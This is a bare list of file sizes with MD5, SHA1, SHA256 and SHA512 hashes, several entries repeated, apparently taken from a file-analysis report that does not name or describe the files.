MD5aa78ed008f72533c7136bf6d4bddb0d0
SHA12e9abd74e615adc99f561cbdbe6067dfd81a406a
SHA25641e551ecb07620b4cace94a89bbcff6597df85a571ace50a7df929c9a94f1d11
SHA512e9f49bc94909c46ae6dad9368e13cc758ff801c39ea8a459483bd17a8a40664b68c91d8602da588a84a39de9256e0accafb23a7667fb57640a55280ee61f4021
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Filesize
141KB
MD50867a260483876336a727cf9f2928b13
SHA13c8c59bfba6ed2aeef35c0d1fc4689683df1e660
SHA256cbc192c03b91280eb4561386290e3b346147d5b1362224d1deff781ff89be207
SHA512b1d2518adb513c42ed877f1ee77d227d6d3600fc27b4d747f31b75cbfb85c53802cbf9b1fe0e1d09353ea4c29b6a49d5e7b7967b3fd8d15974d822649ca7a83f
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Filesize
202KB
MD543adc4acd56c56b0a25664954c7aa80c
SHA1d9085625b4a39b3969db8047ad3224b3fc9f60fc
SHA2560e33c9f15b53de632108ef6f7275cd4d980df86a408f330c57f717b7d5fa3918
SHA512346dd9da1fe6be5219cb10cbe54c60a1661c5c06a21f3cf864a3f32121a90d29ea1bbcef33d2766811f3ef3242456c2c9606326c26d8b660fa26ff4ae8b24515
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Filesize
1.8MB
MD53afec4347159849e4ef50d179ff1fed7
SHA19b3e00d0a426c622ddc34fbee96595d41bd8db72
SHA2567ee8203360bf7c114e892664fda4bf66d15db67f6d3192a692b6bc9bc457998f
SHA512aa99927b06e5fefffee73124ac7ace117b74a4087090109f705c36f44f6beb5e856a55c63238c7ffc73eaba37fbd15f855ca1232cc22371039031abd8fd25bf4
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Filesize
1.8MB
MD53afec4347159849e4ef50d179ff1fed7
SHA19b3e00d0a426c622ddc34fbee96595d41bd8db72
SHA2567ee8203360bf7c114e892664fda4bf66d15db67f6d3192a692b6bc9bc457998f
SHA512aa99927b06e5fefffee73124ac7ace117b74a4087090109f705c36f44f6beb5e856a55c63238c7ffc73eaba37fbd15f855ca1232cc22371039031abd8fd25bf4
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Filesize
1.8MB
MD53afec4347159849e4ef50d179ff1fed7
SHA19b3e00d0a426c622ddc34fbee96595d41bd8db72
SHA2567ee8203360bf7c114e892664fda4bf66d15db67f6d3192a692b6bc9bc457998f
SHA512aa99927b06e5fefffee73124ac7ace117b74a4087090109f705c36f44f6beb5e856a55c63238c7ffc73eaba37fbd15f855ca1232cc22371039031abd8fd25bf4
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Filesize
1.8MB
MD53afec4347159849e4ef50d179ff1fed7
SHA19b3e00d0a426c622ddc34fbee96595d41bd8db72
SHA2567ee8203360bf7c114e892664fda4bf66d15db67f6d3192a692b6bc9bc457998f
SHA512aa99927b06e5fefffee73124ac7ace117b74a4087090109f705c36f44f6beb5e856a55c63238c7ffc73eaba37fbd15f855ca1232cc22371039031abd8fd25bf4
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Filesize
6.3MB
MD593a4649d70ce76d6815874fc7a72c6fb
SHA11e9f663fd9cb66140001847849ddf0451365233f
SHA2566dee2aa6f4bd56f39fc6bcc46746373da93674a8cdab0525741432c7d8080203
SHA512a678b124bb10e83b69ec07939aca9ab249f192585b36eb630f3fe2383584514949eaefc0c611196f3dcdd079c8abee3113c11328fb2a9d231eb48d1d1aa5f0c3
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Filesize
6.3MB
MD593a4649d70ce76d6815874fc7a72c6fb
SHA11e9f663fd9cb66140001847849ddf0451365233f
SHA2566dee2aa6f4bd56f39fc6bcc46746373da93674a8cdab0525741432c7d8080203
SHA512a678b124bb10e83b69ec07939aca9ab249f192585b36eb630f3fe2383584514949eaefc0c611196f3dcdd079c8abee3113c11328fb2a9d231eb48d1d1aa5f0c3
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Filesize
6.3MB
MD593a4649d70ce76d6815874fc7a72c6fb
SHA11e9f663fd9cb66140001847849ddf0451365233f
SHA2566dee2aa6f4bd56f39fc6bcc46746373da93674a8cdab0525741432c7d8080203
SHA512a678b124bb10e83b69ec07939aca9ab249f192585b36eb630f3fe2383584514949eaefc0c611196f3dcdd079c8abee3113c11328fb2a9d231eb48d1d1aa5f0c3
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Filesize
6.3MB
MD593a4649d70ce76d6815874fc7a72c6fb
SHA11e9f663fd9cb66140001847849ddf0451365233f
SHA2566dee2aa6f4bd56f39fc6bcc46746373da93674a8cdab0525741432c7d8080203
SHA512a678b124bb10e83b69ec07939aca9ab249f192585b36eb630f3fe2383584514949eaefc0c611196f3dcdd079c8abee3113c11328fb2a9d231eb48d1d1aa5f0c3
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Filesize
6.3MB
MD593a4649d70ce76d6815874fc7a72c6fb
SHA11e9f663fd9cb66140001847849ddf0451365233f
SHA2566dee2aa6f4bd56f39fc6bcc46746373da93674a8cdab0525741432c7d8080203
SHA512a678b124bb10e83b69ec07939aca9ab249f192585b36eb630f3fe2383584514949eaefc0c611196f3dcdd079c8abee3113c11328fb2a9d231eb48d1d1aa5f0c3
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Filesize
127KB
MD5bda3c03c3e5d65922a311009e0ae8cd6
SHA137093c457ac5f01649b4d23a3d075a531af08baa
SHA25630dc5a63a43a00fb3bcacb696656dc302b9c090cf9c05df0f10123703ca07290
SHA512eab8356896f05952e1bdfca467e998b23e5a9a5e5245f13d201f9b87b7a450be628c3513a8a4c40fa50ffaa8491c4508f1215c57ac608dd3e5e67290a5bedc0b
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Filesize
238KB
MD5200cba4b9cbdd64f1a281b89cd1467f3
SHA1fc3ccf8d57efcdc0d22b61ff6e49798d551a9118
SHA256c8529cff46283d4f7050c9f4ba42a6aad6ff580a22fc8f72bbedb17e63d4091e
SHA51215a213790da6ddedc25369216ae725dccd16473599a8d5fd8b90f80aaa4fd20496f80e85a4ee5eae6a330930207cefc644ab704f7a6514bbf781151a38be38e3
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Filesize
90KB
MD5aa78ed008f72533c7136bf6d4bddb0d0
SHA12e9abd74e615adc99f561cbdbe6067dfd81a406a
SHA25641e551ecb07620b4cace94a89bbcff6597df85a571ace50a7df929c9a94f1d11
SHA512e9f49bc94909c46ae6dad9368e13cc758ff801c39ea8a459483bd17a8a40664b68c91d8602da588a84a39de9256e0accafb23a7667fb57640a55280ee61f4021
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Filesize
141KB
MD50867a260483876336a727cf9f2928b13
SHA13c8c59bfba6ed2aeef35c0d1fc4689683df1e660
SHA256cbc192c03b91280eb4561386290e3b346147d5b1362224d1deff781ff89be207
SHA512b1d2518adb513c42ed877f1ee77d227d6d3600fc27b4d747f31b75cbfb85c53802cbf9b1fe0e1d09353ea4c29b6a49d5e7b7967b3fd8d15974d822649ca7a83f
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Filesize
202KB
MD543adc4acd56c56b0a25664954c7aa80c
SHA1d9085625b4a39b3969db8047ad3224b3fc9f60fc
SHA2560e33c9f15b53de632108ef6f7275cd4d980df86a408f330c57f717b7d5fa3918
SHA512346dd9da1fe6be5219cb10cbe54c60a1661c5c06a21f3cf864a3f32121a90d29ea1bbcef33d2766811f3ef3242456c2c9606326c26d8b660fa26ff4ae8b24515